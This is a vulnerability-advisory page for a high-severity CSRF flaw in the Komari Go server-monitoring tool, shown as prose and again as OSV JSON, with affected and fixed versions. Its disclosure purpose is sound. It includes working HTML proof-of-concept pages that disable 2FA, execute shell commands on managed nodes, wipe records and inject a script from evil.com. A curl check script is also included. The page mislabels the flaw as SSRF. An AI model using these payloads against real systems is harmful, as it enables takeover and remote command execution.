Vulnerabilities in pkg:golang/github.com/komari-monitor/komari

PACKAGE
Advisory Summary

GHSA-hxjg-93wc-h8p8 is a HIGH (CVSS 8.8) management interface csrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Komari libraries in the Go ecosystem. The issue involves management interface csrf. Remediation is available by upgrading affected packages to version 0.0.0-20260609084633-98122fa4d110.

3 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/komari-monitor/komari

3 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/komari-monitor/komari. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-hxjg-93wc-h8p8 - HIGH Komari: Management Interface CSRF
GHSA-jhmr-57cj-q6g9 - HIGH Komari vulnerable to 2FA Authentication Bypass
GHSA-q355-h244-969h - HIGH Komari vulnerable to Cross-site WebSocket Hijacking

GHSA-hxjg-93wc-h8p8 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-hxjg-93wc-h8p8
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Komari
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-hxjg-93wc-h8p8

To remediate this vulnerability, upgrade all affected Komari dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/komari-monitor/komari fixed: 0.0.0-20260609084633-98122fa4d110
Upgrade github.com/komari-monitor/komari to 0.0.0-20260609084633-98122fa4d110
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/komari-monitor/komari

How to Check if You Are Affected

To determine whether your application is affected by GHSA-hxjg-93wc-h8p8, inspect your project dependencies for Komari:

inspect dependencies for github.com/komari-monitor/komari

Analyze the terminal output to locate any version of Komari in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260609084633-98122fa4d110), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Komari, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Vulnerability Overview The `session_token` cookie is set **without** the `SameSite` or `Secure` attributes (`login.go:68`). All `/api/admin/` management endpoints rely solely on this cookie for authentication, with **no CSRF token or Origin validation**. **The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default `SameSite=Lax` behavior.** ## Root Cause ```go // komari-main/api/public/login.go:68 c.SetCookie("session_token", session, 2592000, "/", "", false, true) // Secure=false, SameSite not explicitly set // Admin route group (server.go:213-343) has no CSRF middleware ``` Gin's `ShouldBindJSON` does not strictly validate the `Content-Type` header, allowing `text/plain` requests to bypass CORS preflight. ## Browser Limitations - Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to `SameSite=Lax`. - Cookies without an explicit `SameSite` attribute **are not included in cross-site POST requests**. - As a result, the server receives requests without the session cookie and returns **HTTP 401 Unauthorized**. | Scenario | Exploitable | |----------|-------------| | Cross-site HTML (modern browsers) | ✗ Blocked by `SameSite=Lax` | | Cross-site HTML (Chrome <80 / legacy browsers) | ✓ | | Same-origin context (Browser Console / existing XSS) | ✓ | | Man-in-the-middle over HTTP (`Secure=false`) | ✓ | ## High-Impact Operations Reachable via CSRF | Endpoint | Method | Impact | |----------|--------|--------| | `/api/admin/task/exec` | POST | Execute arbitrary shell commands on managed nodes | | `/api/admin/2fa/disable` | POST | Disable administrator two-factor authentication | | `/api/admin/settings/` | POST | Modify system configuration | | `/api/admin/upload/backup` | POST | Upload a malicious backup | | `/api/admin/record/clear/all` | POST | Delete all monitoring records | | `/api/admin/client/:uuid/edit` | POST | Modify client configuration | | `/api/admin/client/:uuid/remove` | POST | Remove managed clients | | `/api/admin/session/remove/all` | POST | Invalidate all active sessions | | `/api/admin/settings/cloudflared/start` | POST | Start a Cloudflared tunnel | ## PoC 1 — Disable 2FA ```html <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <iframe name="sink" style="display:none"></iframe> <form id="f" method="POST" action="https://komari.example.com/api/admin/2fa/disable" target="sink"></form> <script> document.getElementById('f').submit(); </script> </body> </html> ``` ## PoC 2 — Remote Command Execution ```html <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <script> var KOMARI = "https://komari.example.com"; var CMD = "id && hostname && whoami"; fetch(KOMARI + "/api/admin/client/list", { credentials: "include" }) .then(function(r){ return r.json(); }) .then(function(data){ var nodes = data.data || []; var uuids = []; for (var i = 0; i < nodes.length; i++) { if (nodes[i].uuid) uuids.push(nodes[i].uuid); } if (uuids.length === 0) return; return fetch(KOMARI + "/api/admin/task/exec", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ command: CMD, clients: uuids }) }); }); </script> </body> </html> ``` ## PoC 3 — Modify System Configuration ```html <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <script> var KOMARI = "https://komari.example.com"; fetch(KOMARI + "/api/admin/settings/", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ "site_name": "Pwned", "custom_head": "<script src='https://evil.com/hook.js'><\/script>" }) }); </script> </body> </html> ``` ## PoC 4 — Clear All Monitoring Records ```html <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <iframe name="sink" style="display:none"></iframe> <form id="f" method="POST" action="https://komari.example.com/api/admin/record/clear/all" target="sink"></form> <script> document.getElementById('f').submit(); </script> </body> </html> ``` ## Verification Script ```bash #!/bin/bash KOMARI="${1:-https://komari.example.com}" echo "=== CSRF Verification ===" echo "[1] Cookie Attributes..." curl -s -D - -o /dev/null \ -X POST "$KOMARI/api/public/login" \ -H "Content-Type: application/json" \ -d '{"username":"test","password":"test"}' | grep -i 'set-cookie' echo "" echo "[2] CORS Headers..." curl -s -D - -o /dev/null \ -H "Origin: https://evil.com" \ "$KOMARI/api/public/config" | grep -i 'access-control' echo "" echo "[3] CSRF Protection on Admin Endpoint..." CODE=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST "$KOMARI/api/admin/settings/" \ -H "Content-Type: application/json" \ -H "Origin: https://evil.com" \ -d '{}') echo " HTTP ${CODE} — A 401 response indicates that only session authentication is enforced and no CSRF protection is present." ```

GHSA-hxjg-93wc-h8p8 Affected Komari Versions

1 component(s)
Fixed Versions:
0.0.0-20260609084633-98122fa4d110
Product / Package Ecosystem Affected Versions Fixed Version
github.com/komari-monitor/komari
Go
< 0.0.0-20260609084633-98122fa4d110
0.0.0-20260609084633-98122fa4d110

References

Frequently Asked Questions

What is GHSA-hxjg-93wc-h8p8?
GHSA-hxjg-93wc-h8p8 is a security vulnerability in Komari involving Management Interface CSRF under CWE-918: Server-Side Request Forgery (SSRF).
Which Komari versions are affected?
Affected versions include releases prior to 0.0.0-20260609084633-98122fa4d110 across affected packages: github.com/komari-monitor/komari.
What version fixes GHSA-hxjg-93wc-h8p8?
Upgrading to 0.0.0-20260609084633-98122fa4d110 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/komari-monitor/komari affected?
Yes, github.com/komari-monitor/komari is affected in releases prior to 0.0.0-20260609084633-98122fa4d110. Upgrade your dependency to 0.0.0-20260609084633-98122fa4d110 or later.
What is the CVSS score of GHSA-hxjg-93wc-h8p8?
GHSA-hxjg-93wc-h8p8 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with GHSA-hxjg-93wc-h8p8?
GHSA-hxjg-93wc-h8p8 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for GHSA-hxjg-93wc-h8p8?
Run the dependency tree command: 'inspect dependencies for github.com/komari-monitor/komari'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hxjg-93wc-h8p8",
  "modified" : "2026-09-09T23:48:31Z",
  "published" : "2026-09-09T23:48:31Z",
  "aliases" : [ ],
  "summary" : "Komari: Management Interface CSRF",
  "details" : "# Vulnerability Overview\n\nThe `session_token` cookie is set **without** the `SameSite` or `Secure` attributes (`login.go:68`).\n\nAll `/api/admin/` management endpoints rely solely on this cookie for authentication, with **no CSRF token or Origin validation**.\n\n**The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default `SameSite=Lax` behavior.**\n\n## Root Cause\n\n```go\n// komari-main/api/public/login.go:68\nc.SetCookie(\"session_token\", session, 2592000, \"/\", \"\", false, true)\n//   Secure=false, SameSite not explicitly set\n//   Admin route group (server.go:213-343) has no CSRF middleware\n```\n\nGin's `ShouldBindJSON` does not strictly validate the `Content-Type` header, allowing `text/plain` requests to bypass CORS preflight.\n\n## Browser Limitations\n\n- Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to `SameSite=Lax`.\n- Cookies without an explicit `SameSite` attribute **are not included in cross-site POST requests**.\n- As a result, the server receives requests without the session cookie and returns **HTTP 401 Unauthorized**.\n\n| Scenario | Exploitable |\n|----------|-------------|\n| Cross-site HTML (modern browsers) | ✗ Blocked by `SameSite=Lax` |\n| Cross-site HTML (Chrome <80 / legacy browsers) | ✓ |\n| Same-origin context (Browser Console / existing XSS) | ✓ |\n| Man-in-the-middle over HTTP (`Secure=false`) | ✓ |\n\n## High-Impact Operations Reachable via CSRF\n\n| Endpoint | Method | Impact |\n|----------|--------|--------|\n| `/api/admin/task/exec` | POST | Execute arbitrary shell commands on managed nodes |\n| `/api/admin/2fa/disable` | POST | Disable administrator two-factor authentication |\n| `/api/admin/settings/` | POST | Modify system configuration |\n| `/api/admin/upload/backup` | POST | Upload a malicious backup |\n| `/api/admin/record/clear/all` | POST | Delete all monitoring records |\n| `/api/admin/client/:uuid/edit` | POST | Modify client configuration |\n| `/api/admin/client/:uuid/remove` | POST | Remove managed clients |\n| `/api/admin/session/remove/all` | POST | Invalidate all active sessions |\n| `/api/admin/settings/cloudflared/start` | POST | Start a Cloudflared tunnel |\n\n## PoC 1 — Disable 2FA\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Loading...</title></head>\n<body>\n<iframe name=\"sink\" style=\"display:none\"></iframe>\n<form id=\"f\" method=\"POST\"\n      action=\"https://komari.example.com/api/admin/2fa/disable\"\n      target=\"sink\"></form>\n<script>\n  document.getElementById('f').submit();\n</script>\n</body>\n</html>\n```\n\n## PoC 2 — Remote Command Execution\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Loading...</title></head>\n<body>\n<script>\nvar KOMARI = \"https://komari.example.com\";\nvar CMD    = \"id && hostname && whoami\";\n\nfetch(KOMARI + \"/api/admin/client/list\", { credentials: \"include\" })\n  .then(function(r){ return r.json(); })\n  .then(function(data){\n    var nodes = data.data || [];\n    var uuids = [];\n    for (var i = 0; i < nodes.length; i++) {\n      if (nodes[i].uuid) uuids.push(nodes[i].uuid);\n    }\n    if (uuids.length === 0) return;\n    return fetch(KOMARI + \"/api/admin/task/exec\", {\n      method: \"POST\",\n      credentials: \"include\",\n      headers: { \"Content-Type\": \"application/json\" },\n      body: JSON.stringify({ command: CMD, clients: uuids })\n    });\n  });\n</script>\n</body>\n</html>\n```\n\n## PoC 3 — Modify System Configuration\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Loading...</title></head>\n<body>\n<script>\nvar KOMARI = \"https://komari.example.com\";\nfetch(KOMARI + \"/api/admin/settings/\", {\n  method: \"POST\",\n  credentials: \"include\",\n  headers: { \"Content-Type\": \"application/json\" },\n  body: JSON.stringify({\n    \"site_name\": \"Pwned\",\n    \"custom_head\": \"<script src='https://evil.com/hook.js'><\\/script>\"\n  })\n});\n</script>\n</body>\n</html>\n```\n\n## PoC 4 — Clear All Monitoring Records\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Loading...</title></head>\n<body>\n<iframe name=\"sink\" style=\"display:none\"></iframe>\n<form id=\"f\" method=\"POST\"\n      action=\"https://komari.example.com/api/admin/record/clear/all\"\n      target=\"sink\"></form>\n<script>\ndocument.getElementById('f').submit();\n</script>\n</body>\n</html>\n```\n\n## Verification Script\n\n```bash\n#!/bin/bash\nKOMARI=\"${1:-https://komari.example.com}\"\n\necho \"=== CSRF Verification ===\"\n\necho \"[1] Cookie Attributes...\"\ncurl -s -D - -o /dev/null \\\n  -X POST \"$KOMARI/api/public/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"test\",\"password\":\"test\"}' | grep -i 'set-cookie'\n\necho \"\"\necho \"[2] CORS Headers...\"\ncurl -s -D - -o /dev/null \\\n  -H \"Origin: https://evil.com\" \\\n  \"$KOMARI/api/public/config\" | grep -i 'access-control'\n\necho \"\"\necho \"[3] CSRF Protection on Admin Endpoint...\"\nCODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n  -X POST \"$KOMARI/api/admin/settings/\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: https://evil.com\" \\\n  -d '{}')\n\necho \"    HTTP ${CODE} — A 401 response indicates that only session authentication is enforced and no CSRF protection is present.\"\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/komari-monitor/komari"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260609084633-98122fa4d110"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/komari-monitor/komari/security/advisories/GHSA-hxjg-93wc-h8p8"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/komari-monitor/komari"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/komari-monitor/komari/releases/tag/1.2.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-09T23:48:31Z",
    "nvd_published_at" : null
  }
}